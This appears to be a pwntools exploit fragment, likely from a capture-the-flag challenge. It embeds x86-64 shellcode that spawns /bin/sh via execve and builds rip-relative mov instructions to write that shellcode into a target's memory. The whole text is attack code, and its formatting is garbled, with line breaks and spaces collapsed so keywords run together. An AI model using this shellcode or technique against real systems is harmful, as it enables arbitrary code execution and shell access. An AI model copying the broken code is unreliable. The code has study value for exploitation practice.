from pwn import * context.arch='amd64' defconvert(a): if a>0xffffffff//2: b=(0-(~a))-0xffffffff-2 return b return a system=b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\x00" system_code=[u32(system[i:i+4]) for i inrange(0,28,4)] sc=b'' for i inrange(7): sc+=asm(f'movq [rip+{11*(7-i)+4*i}],{str(convert(system_code[i]))}')